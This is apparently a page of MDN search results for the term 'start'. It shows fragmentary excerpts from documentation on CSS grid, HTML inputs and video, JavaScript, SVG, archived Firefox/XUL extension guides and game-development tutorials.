start and inline-end edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... nothing (automatic) to its grid placement, thereby specifying the inline-
start and inline-end edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if two <grid-line> values are specified, the grid-row-
start longhand is set to the value before the slash, and the grid-row-end longhand is set to the value after the slash. ...
...ractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if two <grid-line> values are specified, the grid-row-
start longhand is set to the value before the slash, and the grid-row-end longhand is set to the value after the slash. ...
...And 4 more matches
<input type="button"> - HTML: Hypertext Markup Language
an empty button: <input type="button"> using buttons <input type="button"> elements have no default behavior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset forms, respectively). to make buttons do anything, you have to write javascript code to do the work. ...
...mit"> and <input type="reset"> are used to submit and reset forms, respectively). to make buttons do anything, you have to write javascript code to do the work. ...
...
starts our machine (well, it toggles the value of the button and the text content of the following paragraph): <form> <input type="button" value="
start machine"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryselector('p'); button.addeventlistener('click', updatebutton); function updatebutton() { if (button.value === '
start machine') { button.value = 'stop machine'; paragraph.textcontent = 'the machine has
started!'; } else { button.value = '
start machine'; paragraph.textcontent = 'the machine is stopped.'; } } the script gets a reference to the htmlinputelement object representing the <input> in the dom, saving this refence in the variable button. addeventlistener() is then used to establish a ...
...And 4 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
ending the origin: http header), preventing its non-tainted used in <canvas> elements. if invalid, it is handled as if the enumerated keyword anonymous was used. see cors settings attributes for additional information. currenttime reading currenttime returns a double-precision floating-point value indicating the current playback position of the media specified in seconds. if the media has not
started playing yet, the time offset at which it will begin is returned. setting currenttime sets the current playback position to the given time and seeks the media to that position if the media is currently loaded. if the media is being streamed, it's possible that the user agent may not be able to obtain some parts of the resource if that data has expired from the media buffer. other media may hav...
...at which it will begin is returned. setting currenttime sets the current playback position to the given time and seeks the media to that position if the media is currently loaded. if the media is being streamed, it's possible that the user agent may not be able to obtain some parts of the resource if that data has expired from the media buffer. other media may have a media timeline that doesn't
start at 0 seconds, so setting currenttime to a time before that would fail. the get
startdate() method can be used to determine the beginning point of the media timeline's reference frame. disablepictureinpicture prevents the browser from suggesting a picture-in-picture context menu or to request picture-in-picture automatically in some cases. disableremoteplayback a boolean attribute used to...
... this attribute tells the browser to ignore the actual intrinsic size of the image and pretend it’s the size specified in the attribute. specifically, the image would raster at these dimensions and naturalwidth/naturalheight on images would return the values specified in this attribute. explainer, examples loop a boolean attribute; if specified, the browser will automatically seek back to the
start upon reaching the end of the video. muted a boolean attribute that indicates the default setting of the audio contained in the video. if set, the audio will be initially silenced. its default value is false, meaning that the audio will be played when the video is played. playsinline a boolean attribute indicating that the video is to be played "inline", that is within the element's playback a...
...And 4 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
avascript is notorious for being the world's most misunderstood programming language. it is often derided as being a toy, but beneath its layer of deceptive simplicity, powerful language features await. javascript is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill for any web or mobile developer. it's useful to
start with an overview of the language's history. javascript was created in 1995 by brendan eich while he was an engineer at netscape. javascript was first released with netscape 2 early in 1996. it was originally going to be called livescript, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of sun microsystem's java language — despite the two havi...
...d c languages — many structures from those languages apply to javascript as well. javascript supports object-oriented programming with object prototypes, instead of classes (see more about prototypical inheritance and es2015 classes). javascript also supports functional programming — because they are objects, functions may be stored in variables and passed around like any other object. let's
start off by looking at the building blocks of any language: the types. javascript programs manipulate values, and those values all belong to a type. javascript's types are: number string boolean function object symbol (new in es2015) ... oh, and undefined and null, which are ... slightly odd. and array, which is a special kind of object. and date and regexp, which are objects that you get fo...
...e if you declare a variable without assigning any value to it, its type is undefined. an important difference between javascript and other languages like java is that in javascript, blocks do not have scope; only functions have a scope. so if a variable is defined using var in a compound statement (for example inside an if control structure), it will be visible to the entire function. however,
starting with ecmascript 2015, let and const declarations allow you to create block-scoped variables. operators javascript's numeric operators are +, -, *, / and % which is the remainder operator (which is the same as modulo.) values are assigned using =, and there are also compound assignment statements such as += and -=. these extend out to x = x operator y. x += 5; x = x + 5; you can use ++ and...
...And 4 more matches
begin - SVG: Scalable Vector Graphics
each individual value can be one of the following : <offset-value>, <syncbase-value>, <event-value>, <repeat-value>, <accesskey-value>, <wallclock-sync-value> or the keyword indefinite. ...
...is a semicolon-separated list of values. each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event). negative values are valid. <syncbase-value> this value defines a syncbase and an optional offset from that syncbase. the element's animation
start time is defined relative to the begin or active end of another animation. a valid syncbase-value consists of an id reference to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginning or active end of the referenced animation element. an optional offset value as defined in <offset-value> can be appended. <event-value> this value...
...to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginning or active end of the referenced animation element. an optional offset value as defined in <offset-value> can be appended. <event-value> this value defines an event and an optional offset that determines the time at which the element's animation should begin. the animation
start time is defined relative to the time that the specified event is fired. a valid event-value consists of an element id followed by a dot and one of the supported events for that element. all valid events (not necessarily supported by all elements) are defined by the dom and html specifications. those are: focus, blur, focusin, focusout, activate, auxclick, click, dblclick, mousedown, mouseenter, ...
...And 4 more matches
text-anchor - SVG: Scalable Vector Graphics
it is not applicable to other types of auto-wrapped text. for those cases you should use text-align. for multi-line text, the alignment takes place for each line. the text-anchor attribute is applied to each individual text chunk within a given <text> element. ...
...any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- materialisation of anchors --> <path d="m60,15 l60,110 m30,40 l90,40 m30,75 l90,75 m30,110 l90,110" stroke="grey" /> <!-- anchors in action --> <text text-anchor="
start" x="60" y="40">a</text> <text text-anchor="middle" x="60" y="75">a</text> <text text-anchor="end" x="60" y="110">a</text> <!-- materialisation of anchors --> <circle cx="60" cy="40" r="3" fill="red" /> <circle cx="60" cy="75" r="3" fill="red" /> <circle cx="60" cy="110" r="3" fill="red" /> <style><![cdata[ text { font: bold 36px verdana, helvetica, arial, sans-serif; } ]...
...for an element with a direction property value of ltr (typical for most european languages), the left side of the text is rendered at the initial text position. for an element with a direction property...
...And 4 more matches
Tutorials
the links on this page lead to a variety of tutorials and training materials. whether you are just
starting out, learning the basics, or are an old hand at web development, you can find helpful resources here for best practices. these resources are created by forward-thinking companies and web developers who have embraced open standards and best practices for web development and that provide or allow translations, through an open content license such as creative commons. for complete beginners to the web getting
started with the web getting
started with the web is a concise series introducing you to the practicalities of web development. you'll set up the tools you need to construct a simple webpage and publish your own simple code. html tutorials introductory level intro...
... can be a challenge. this module covers basic table markup, along with more complex features such as implementing captions and summaries. advanced level html forms forms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending feedback, buying products, and more. this module gets you
started with creating the client-side parts of forms. tips for authoring fast-loading html pages optimize web pages to provide a more responsive site for visitors and reduce the load on your web server and internet connection. css tutorials introductory level css basics css (cascading style sheets) is the code you use to style your webpage. css basics takes you through what you need t...
...h creating the client-side parts of forms. tips for authoring fast-loading html pages optimize web pages to provide a more responsive site for visitors and reduce the load on your web server and internet connection. css tutorials introductory level css basics css (cascading style sheets) is the code you use to style your webpage. css basics takes you through what you need to get
started. we'll answer questions like: how do i make my text black or red? how do i make my content show up in such-and-such a place on the screen? how do i decorate my webpage with background images and colors? css first steps css (cascading style sheets) is used to style and lay out web pages — for example, to alter the font, color, size, and spacing of your content, split it into multiple colum...
...And 4 more matches
Windows - Archive of obsolete content
and the components object is deprecated. it will soon be removed. draggable windows to make a window draggable by clicking on the window's contents, you can use the mousedown and mousemove events. the following code does not care which element is clicked on, simply responding to all mousedown events equally. ...
...d. draggable windows to make a window draggable by clicking on the window's contents, you can use the mousedown and mousemove events. the following code does not care which element is clicked on, simply responding to all mousedown events equally. you could improve this code by checking the event.target element and only setting the
startpos if the element matches some criteria. ...
...able by clicking on the window's contents, you can use the mousedown and mousemove events. the following code does not care which element is clicked on, simply responding to all mousedown events equally. you could improve this code by checking the event.target element and only setting the
startpos if the element matches some criteria. ...
...And 3 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
works with the javascript in extensions and firefox itself, the debugger can be a good way to learn about design methods. installing this is bundled with the mozilla suite and the current version of seamonkey, but it needs to be installed as an extension in firefox. see https://addons.mozilla.org/firefox/216/. install the extension in firefox directly from the above url and relaunch firefox.
starting up select “javascript debugger” from the tools menu. targeting javascript for debugging. when venkman first launches, it can only debug the file currently open in your web browser. this is because a lot of javascript files can slow down the browser down if they’re opened for debugging, but you’ll need to lift this restriction in order to develop extensions. uncheck the “exclude br...
...ate venkman, and then select open windows:quicknote.xul:files on the top-left of the screen. double-click on quicknote.js to open it in source-code view (figure 2). fixme: figure 2: selecting source code inserting breakpoints now you’ll want to set some breakpoints. try inserting one within the quicknote_savenote function, around line 345 (figure 3). fixme: figure 3: inserting a breakpoint
start debugger type in some text into the quicknote screen, and then select save current tab from the menu. this should halt the program at the spot where you inserted the breakpoint with venkman, and
start the debugger. the local variables screen should always display variables and objects during step-by-step execution. with functions that include a lot of variables, this will be hard to read, so yo...
...te example, we first set one breakpoint and then stepped through it. use step over to avoid a function, and step into to always call it; once you are done investigating a function, use step out, and then you can step into the next function. set breakpoints in locations of interest where you’re not sure what’s going on, and the next time you run it, use continue to shift to that location and
start investigating again. fixme: figure 4: adding a watch target mozunit mozunit is a tool for javascript that assists with unit testing. it provides an ui similar to that of eclipse’s junit test runner. it should be very easy for java programmers to get up to speed on it quickly. installing mozunit is a feature of mozlab. install mozlab from the following url and relaunch firefox. http://hype...
...And 3 more matches
Tabbed browser - Archive of obsolete content
the attributes to which changes result in this event being sent are: label crop ...
...entlistener("tabopen", exampletabadded, false); container.removeeventlistener("tabmove", exampletabmoved, false); container.removeeventlistener("tabclose", exampletabremoved, false); note:
starting in gecko 1.9.1, there's an easy way to listen on progress events on all tabs. notification when a tab's attributes change requires gecko 2.0(firefox 4 / thunderbird 3.3 / seamonkey 2.1)
starting in gecko 2.0, you can detect when a tab's attributes change by listening for the tabattrmodified event. the attributes to which changes result in this event being sent are: label crop busy image selected function exampletabattrmodified(event) { var tab = event.target; // now you can check what's changed on the tab } // during initialization var container = gbrowser.tabcontainer; ...
...you can detect when a tab becomes pinned or unpinned by watching for the tabpinned and tabunpinned events. function exampletabpinned(event) { var browser = gbrowser.getbrowserfortab(event.target); // browser is the xul...
...And 3 more matches
MMgc - Archive of obsolete content
in 17.41 millis (2.0015 s) how mmgc works mark/sweep the mmgc garbage collector uses a mark/sweep algorithm. this is one of the most common garbage collection algorithms. every object in the system has an associated "mark bit." a garbage collection is divided into two phases: mark and sweep. in the mark phase, all of the mark bits are cleared. the garbage collector is aware of "roots", which are
starting points from which all "live" application data should be reachable. the collector
starts scanning objects,
starting at the roots and fanning outwards. for every object it encounters, it sets the mark bit. when the mark phase concludes, the sweep phase begins. in the sweep phase, every object that wasn't marked in the mark phase is destroyed and its memory reclaimed. if an object didn't have its...
...ing of a mark/sweep collector: (temporarily not working) <gflash>600 300 gc.swf</gflash> one pass the mark sweep algorithm described above decomposes into clearmarks/mark/finalize/sweep. in our original implementation clearmarks/finalize/sweep visited every gc page and every object on that page. 3 passes! now we have one pass where marks are cleared during sweep so clear marks isn't needed at the
start. also finalize builds up a lists of pages that need sweeping so sweep doesn't need to visit every page. this has been shown to cut the finalize/sweep pause in half (which happens back to back atomically). overall this wasn't a huge performance increase due to the fact the majority of our time is spent in the mark phase. conservative collection mmgc is a conservative mark/sweep collector. conserva...
...memory the application is using). one way to avoid this unbounded pause is to break up the work the gc needs to do into "increments". in order to collect garbage we must trace all the live objects and mark them. this is the part of the gc work that takes the most time and the part that needs to be incrementalized. in order to incrementalize marking it needs to be a process that can be stopped and
started. our marking algorithm is a conservative marking algorithm that makes marking automatic, there are no mark() methods the gc engine needs to call, marking is simply a tight loop that processes a queue. the way it works is that all gc roots are registered with the gc library and it can mark everything by traversing the roots. at the beginning all the gc roots are pushed onto the work queue. items...
...And 3 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
tutorial, you should know some basics about regular expressions and understand how to create expressions that match urls. for detailed documentation about regular expressions, see core_javascript_1.5_reference:global_objects:regexp. to learn how to create a microsummary generator, see creating a microsummary. urls 101 urls for auction item pages on ebay, like those on many other sites, usually
start with the string "http://" and contain a domain name, a file path, and some query parameters. here's a url for an auction item page on ebay: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 in this url, the domain name is "cgi.ebay.com", the file path is "/ws/ebayisapi.dll", and the query parameters are "?viewitem&item=280018439106". matching an ebay url to match this url with...
... backwards slash (\). here's a regular expression that matches our example url: http://cgi\.ebay\.com/ws/ebayisapi\.dll\?viewitem&item=280018439106 it looks almost the same as the url. the only difference is that the regular expression has backwards slashes before the periods and the question mark, since both of those characters have special meaning in regular expressions. matching from the
start of the url while this expression matches the url, it also matches other urls that contain this url in their query parameters, for example: http://www.example.com/redirect.php?url=http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 that's probably not what we want, since urls that contain our example url probably aren't auction item pages themselves. in order to restrict our regul...
...ression matches the url, it also matches other urls that contain this url in their query parameters, for example: http://www.example.com/redirect.php?url=http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 that's probably not what we want, since urls that contain our example url probably aren't auction item pages themselves. in order to restrict our regular expression to urls that
start with our example url, we prepend a caret (^) to the regular expression: ^http://cgi\.ebay\.com/ws/ebayisapi\.dll\?viewitem&item=280018439106 when a caret is the first character of a regular expression, it signifies that the expression must be found at the beginning of the string being matched. now that we've prepended a caret to our regular expression, it will only match urls that look like t...
...And 3 more matches
Drag and Drop - Archive of obsolete content
ed around and dropped onto other objects. the drag and drop interface many user interfaces allow one to drag particular objects around within the interface. for example, dragging files to other directories, or dragging an icon to another window to open the document it refers to. mozilla and xul provide a number of events that can handle when the user attempts to drag objects around. a user can
start dragging by holding down the mouse button and moving the mouse. the drag stops when the user releases the mouse. event handlers are called when the user
starts and ends dragging, and at various points in-between. mozilla implements dragging by using a drag session. when a user requests to drag something that can be dragged, a drag session should be
started. the drag session handles updating the ...
...because the user generally has only one mouse, only one drag session is in use at a time. note that drag sessions can be created from within mozilla itself or from other applications. mozilla will translate the data being dragged as needed. ...
...tself or from other applications. mozilla will translate the data being dragged as needed. the list below describes the event handlers that can be called, which may be placed on any element. you only need to put values for the handlers where you need to do something when the event occurs. ondrag called periodically throughout the drag and drop operation. ...
...And 3 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
cts in java is not that much different than doing so in c++. prerequisites java 1.4.2 or newer xulrunner 1.8.0.1 or newer embedding in order to embed mozilla in your java application, you will need to add the library mozillainterfaces.jar (located in xulrunner/sdk/lib folder) to your classpath. this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods. to
start embedding, we use the methods provided by the mozilla singleton class. first, the java application must find a suitable xulrunner installation: mozilla mozilla = mozilla.getinstance(); greversionrange[] range = new greversionrange[1]; range[0] = new greversionrange("1.8.0", true, "1.9", false); // work with trunk nightly version 1.9a1 ^^ try { file grepath = mozilla.getgrepathwithpro...
...owcreator, which implements the nsiwindowcreator interface, and we want to register it with mozilla. to do so, we first get the service manager, through which we can get a reference to mozilla's window watcher. ...
...ow watcher. ...
...And 3 more matches
Multiple Queries - Archive of obsolete content
the results from the first query are generated first and output generated for it, followed by the results and output for the second query, and so forth for all of the queries. ...
...generated first and output generated for it, followed by the results and output for the second query, and so forth for all of the queries. ...
... <content uri="?
start"/> <member container="?
start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </queryset> <queryset> <query> <content uri="?
start"/> <member container="?
start" child="?photo"/> </query> <action> <image uri="?photo" src="?photo"/> </action> </queryset> </template> </hbox> this template contains two queries, the first contains a <triple> which matches only the photo with a title of 'canal'. the second query doesn't contain such a triple and will match all three of the photos. it the fi...
...And 3 more matches
Recursive Generation - Archive of obsolete content
graph, item c has a relateditem arrow pointing out of it to item d. this extra arrow which neither b or d have causes an extra set of buttons to be created. after generating content, the template builder always repeats the generation for inner levels as far as it can go. thus, the builder can be said to generate content from the graph recursively. after generating a result's content, the builder
starts again using a new parent and
starting point. naturally, the parent will be the new result's content, rather than the outer containing element, and the
starting point will be the endpoint of the previous iteration. for the top level generation the parent insertion point is the element with the datasources attribute, in this example a <vbox>. for nested results, the insertion point is the generate...
...the top level generation the parent insertion point is the element with the datasources attribute, in this example a <vbox>. for nested results, the insertion point is the generated element. ...
...nt insertion point is the element with the datasources attribute, in this example a <vbox>. for nested results, the insertion point is the generated element. ...
...And 3 more matches
Custom toolbar button - Archive of obsolete content
r custom button as a self-contained extension in your profile. you can use the sample code provided here to make buttons that do various useful things. if you know how to program in javascript, then you can write your own code that does other things. you can use this page if all you really want is a button for some special purpose. you can also use this page to learn about extensions, and as a
starting point if you plan to write a more complex extension. note that this extension is very simplified. use other tutorials and articles to find out more—the main extensions page here is a good
starting point. in particular, the articles creating toolbar buttons and building an extension explain the process in more detail. supported applications you can use the steps on this page with any or all...
...oad the extension image. get a context menu for the image that you see here (for example, by right-clicking it). choose save image as... from the context menu, and save it in the same directory as the files you have just created. ensure that the name of the saved file is: icon.png explanation: this image is displayed in the application's extension manager window. testing your new button re
start the application. either get a context menu for the application's toolbar (for example, by right-clicking it) and choose customize..., or choose view – toolbars – customize... from the application's menu bar. drag your new button to where you want it on the toolbar. press done to close the toolbar palette window. click the button to test it. you should see the pop-up message. further devel...
... it. you should see the pop-up message. further development this section describes how you can develop your button further. uninstalling the button if you ever want to uninstall the button, delete the directory that you created in step 2. alternatively, use the application's extensions window to uninstall the extension in the normal way. the application deletes the directory the next time it
starts. re
start the application. troubleshooting if the button does not appear in the toolbar customization palette, or if you find some other problem, check that you have followed all the steps exactly. if necessary, uninstall the button and
start again, this time without making any changes to the files. after you get the button working, customize the files carefully. to see the effect of any ch...
...And 3 more matches
Manifest Files - Archive of obsolete content
and referenced with chrome urls. a package can contain any kinds of files and may be split into subdirectories for different parts of the package. a package can be stored either as a directory or as a jar archive. manifest files a manifest file describes a package and maps its location on disk to a chrome url. ...
...use manifest flags to configure the scenarios in which the secondary manifest is imported. ...
...e path in that line should point to the directory created above. if you aren't sure what the file path is, open that directory in a browser and copy the url from the address field. that's it! now, all you need to do is add some xul files into that new directory, and you will be able to load them by typing in a chrome url of the form chrome://tests/content/<filename>. of course, you will need to re
start the browser for the changes to take effect. if the file doesn't load, make sure that the file path is correct. the basic syntax of the lines in the manifest file for content packages is: 'content <packagename> <filepath>' the first field 'content' indicates a content package. for themes, 'skin' is used while 'locale' is used for locales. the packagename in the example above is 'tests', which mean...
...And 3 more matches
Tree Selection - Archive of obsolete content
ms in a multiple selection tree are not necessarily contiguous, you can retrieve each block of contigous selections using the getrangecount() and getrangeat() functions. the first function returns the number of selection ranges there are. if only one value is selected, this value will be 1. ...
...s, calling getrangeat() to get the actual indices of the
start and end of the range. the getrangeat() function takes three arguments. the first is the range index. the second is an object which will be filled in by the function with the index of the first selected item. the third argument is an object which will be filled in with the index of the last selected item. getrangeat example var
start = new object(); var end = new object(); var numranges = tree.view.selection.getrangecount(); for (var t = 0; t < numranges; t++){ tree.view.selection.getrangeat(t,
start,end); for (var v =
start.value; v <= end.value; v++){ alert("item " + v + " is selected."); } } we create two objects called '
start' and 'end'. then, we iterate over the set of ranges, the number of which is returned b...
...an alert is displayed for each index. ...
...And 3 more matches
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
a xulrunner application has no installer by default; however, these instructions can help you to easily create a windows installer with inno setup. the tutorial here uses the my app example from the article getting
started with xulrunner. step 1: installing inno setup download inno setup from inno setup downloads. if you only want to compile the installer, install the stable release. if you want to edit scripts, you should get the quick
start pack (which includes istool, the script editor. however, if you don't get the quick
start pack, you can later get istool from inno setup third-party files. step 2: creating the application to make your application standalone, deploy your application according to the deploying xulrunner 1.8 article. my app's example follows. myapp/ appli...
...ublisher properties to the same values specified in your xulrunner application's application.ini file. my app's .iss file sample as follows: ; script generated by the inno setup script wizard. ...
...pplication.ini file. my app's .iss file sample as follows: ; script generated by the inno setup script wizard. ...
...And 3 more matches
Sunbird Theme Tutorial - Archive of obsolete content
the theme a file that registers the theme with sunbird some files containing the theme itself set up your theme in sunbird's profile directory. for information on how to find the profile directory, see the mozillazine article: profile folder inside the profile directory, go to the <tt>extensions</tt> directory. note: if the <tt>extensions</tt> directory is empty, you are in the wrong place—
start again and follow the instructions more carefully. creating a unique identifier create an identifier that is likely to be unique, in the form: <tt>something@domain-name</tt> it must contain an at-sign (<tt>@</tt>), making it look something like an e-mail address, but it does not need to be a real e-mail address. before and after the at-sign, it can only contain the characters a-z, a-z, 0-9, f...
...change the next six lines to describe your theme. ensure that the internal name is a single word. note: if your theme is for a version of sunbird later than 0.4, then also change the maxversion. save the file. registering your theme to register your theme, create a plain tex...
...t>. copy and paste the content from here (just one line): skin calendar testing chrome/calendar/ change <tt>testing</tt> to your theme's one-word internal name. save the file. creating the theme itself to create the theme itself, go to sunbird's program directory. note: if you do not know where the program directory is, look at the properties of the shortcut or launcher icon that you use to
start sunbird. there you can see the location of the directory. in the program directory, go to the <tt>chrome</tt> directory. use a jar tool or zip tool to unpack the file <tt>calendar.jar</tt> there. go to the <tt>skin</tt> directory that has just been created, then to the <tt>classic</tt> directory there. copy the <tt>calendar</tt> directory that you find there. in your theme directory, create a new...
...And 3 more matches
Table Reflow Internals - Archive of obsolete content
overview review of reflow table frames table reflow intro to paginated reflow table paginated reflow review of reflow reflow process
starts when an html document
starts loading (the frame tree contains only viewport, scroll(s), canvas, html, body). the initial chunk of an xml doc is loaded. the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow command with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow command with itself as the target. ...
... chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow command with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow command with itself as the target. style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc. review of reflow reflow
starts with pres shell which reflows the reflow root (usually the viewport frame), which reflows it children, etc. ususally it
starts when the pres shell processes its queue of reflow commands. the reflower positions reflowee (if it can) before actually reflowing in case views are involved (e.g. absolutely positioned elements) reflows reflowee and passes a reflow state (in) and a reflow metrics (in...
...s. its height is hard to determine. the image needs to be as high as the cell. ...
...And 3 more matches
Windows Media in Netscape - Archive of obsolete content
pe 7.1 and later or ie, and have installed windows media player 7 or above, the snippet of code below should produce a windows media control and play a song. this is the example: needs to be embedded in wiki page (can it just be put here?) <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full"> <param name="auto
start" value="true"> <param name="url" value="media/preludesteel.wma"> your browser does not support the activex windows media player </object> the same markup (used above and shown below) will work in both ie and netscape 7.1. <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full" /> <param name="aut...
... value="true"> <param name="url" value="media/preludesteel.wma"> your browser does not support the activex windows media player </object> the same markup (used above and shown below) will work in both ie and netscape 7.1. <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full" /> <param name="auto
start" value="true" /> <param name="url" value="preludesteel.wma" /> your browser does not support the activex windows media player </object> the classid attribute references the clsid of windows media player 7 and above -- windows media player versions before 7 used a different clsid. examples in this article all assume that the user is running windows media player 7 and later, although netscap...
...such retrieval. therefore detecting whether the component was successfully instantiated can help provide users with the right component if a failed instantiation is detected. the code listing below provides a mechanism to to this. <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full" /> <param name="auto
start" value="true" /> <param name="url" value="preludesteel.wma" /> </object> <script type="text/javascript"> if(!document.playerex2.versioninfo) { // control not installed -- the versioninfo property returns null // redirect users to http://www.microsoft.com/windows/windowsmedia/download/default.asp } else { //control was correctly created //proceed with scripting calls, etc. } </script>...
...And 3 more matches
Common causes of memory leaks in extensions - Extensions
t document is unloaded, by adding an unload event listener or by similar means. another solution would be to use the setinterval()/settimeout() instances content windows provide, but there is a big drawback with this idea: if the user disables javascript globally or locally (such as by using an add-on like noscript), then using the content window functions won't work. problems in bootstrapped (re
startless) add-ons bootstrapped extensions use a bootstrap.js compartment. if you put a reference to anything within this compartment into a long-lived window object (such as browser.xul), javascript module or xpcom component, the bootstrap.js compartment will become a zombie. for example, the following code snippets — part of a bootstrap.js — will leak: function leakref() {} function modifydocu...
...l prevent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment. document.body.someproperty = leakref; } see also kris maglione's guide to cleaning up bootstrapped extensions. failing to clean up event listeners extensions can be disabled and removed by user actions, but it also happens when an add-on is updated. if a bootstrapped (re
startless) extension fails to clean up event listeners when disabled or removed, the listeners will still reference the enclosing scope — usually the bootstrap.js sandbox — and therefore keep that scope (and its enclosing compartment) alive until the window is unloaded. if the window in question is browser.xul or some long-lived web app such as gmail, the leaked compartment might survive for quite ...
...tlistener("leaky", leakref, false), window); // this is the right way to do it remove the listener. unload(function() window.removeeventlistener("leaky", leakref, true), window); } note: the unload() function is an external function which can be added in your add-on to easily provide a way to undo changes upon unloading of your add-on or a specific part/object. it is part of edward lee's re
startless boilerplate. causes of other kinds of leaks other than javascript compartments, add-ons may also leak entities that do not get a dedicated compartment, most commonly chrome dom windows and javascript code modules. forgetting to unregister observers holding onto event observers for too long is another problem. observers that use strong references are a common cause of leaking whole chrome...
...And 3 more matches
Building up a basic demo with the PlayCanvas engine - Game development
that's quite an impressive list of features — let's see some in action. we will try putting together a simple demo first — a cube rendered on the screen. if you have already worked through our building up a basic demo with three.js article (or you are familiar with other 3d libraries) you'll notice that playcanvas works on similar concepts: camera, light and objects. environment setup to
start developing with playcanvas, you don't need much. you should
start off by: making sure you are using a modern browser with good webgl support, such as the latest firefox or chrome. creating a directory to store your experiments in. saving a copy of the latest playcanvas engine inside your directory. opening the playcanvas documentation in a separate tab — it is useful to refer to. html s...
...write our example code in the second one. there is one helper variable already included, which will store a reference to the <canvas> element. before reading on, copy this code to a new text file and save it in your working directory as index.html. playcanvas application to begin developing our game we have to create the playcanvas application first (using the given <canvas> element), and then
start the update loop. add the following code to the bottom of your second <script> element: var app = new pc.application(canvas); app.
start(); the pc global object contains all the playcanvas functions available in the engine. next, we'll set the canvas to fill the window, and automatically change its resolution to be the same as the canvas size. again, add the following lines at the bottom of you...
...as to fill the window, and automatically change its resolution to be the same as the canvas size. again, add the following lines at the bottom of your script. app.setcanvasfillmode(pc.fillmode_fill_window); app.setcanvasresolution(pc.resolution_auto); camera now when the setup code is in place we need to think about implementing the standard scene components: camera, lights and objects. let's
start with the camera — add these lines to your code, below the previous ones. var camera = new pc.entity(); camera.addcomponent("camera", { clearcolor: new pc.color(0.8, 0.8, 0.8) }); app.root.addchild(camera); camera.setposition(0, 0, 7); the code above will create a new entity. note: an entity is any object used in the scene — it can be an object like a box, cylinder or cone, but it ca...
...And 3 more matches
Buttons - Game development
« previousnext » this is the 15th step out of 16 of the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson15.html. instead of
starting the game right away we can leave that decision to the player by adding a
start button they can press. let's investigate how to do that. new variables we will need a variable to store a boolean value representing whether the game is currently being played or not, and another one to represent our button. add these lines below your other variable definitions: var playing = false; var
startbutton; loading the button spritesheet we can load the button spritesheet the same way we loaded the ball's wobble animation. add the following to the bottom o...
...unction: game.load.spritesheet('button', 'img/button.png', 120, 40); a single button frame is 120 pixels wide and 40 pixels high. you also need to grab the button spritesheet from github, and save it in your /img directory. adding the button to the game adding the new button to the game is done by using the add.button method. ...
...on frame is 120 pixels wide and 40 pixels high. you also need to grab the button spritesheet from github, and save it in your /img directory. adding the button to the game adding the new button to the game is done by using the add.button method. add the following lines to the bottom of your create() function:
startbutton = game.add.button(game.world.width*0.5, game.world.height*0.5, 'button',
startgame, this, 1, 0, 2);
startbutton.anchor.set(0.5); the button() method's parameters are as follows: the button's x and y coordinates the name of the graphic asset to be displayed for the button a callback function that will be executed when the button is pressed a reference to this to specify the execution context the frames that will be used for the over, out and down events. note: th...
...And 3 more matches
Fallback alignment - MDN Web Docs Glossary: Definitions of Web-related terms
in css box alignment, a fallback alignment is specified in order to deal with cases where the requested alignment cannot be fullfilled. ...
...alignment, a fallback alignment is specified in order to deal with cases where the requested alignment cannot be fullfilled. ...
...ment is specified in order to deal with cases where the requested alignment cannot be fullfilled. for example, if you specify justify-content: space-between there must be more than one alignment subject. ...
...And 3 more matches
Cascade and inheritance - Learn web development
ies when there is such a conflict. which rule is styling your element may not be the one you expect, so you need to understand how these mechanisms work. also significant here is the concept of inheritance, which means that some css properties by default inherit values set on the current element's parent element, and some don't. this can also cause some behavior that you might not expect. let's
start by taking a quick look at the key things we are dealing with, then we'll look at each in turn and see how they interact with each other and your css. this can seem like a set of tricky concepts to understand. as you get more practice writing css, however, the way it works will become more obvious to you. the cascade stylesheets cascade — at a very simple level this means that the order of css...
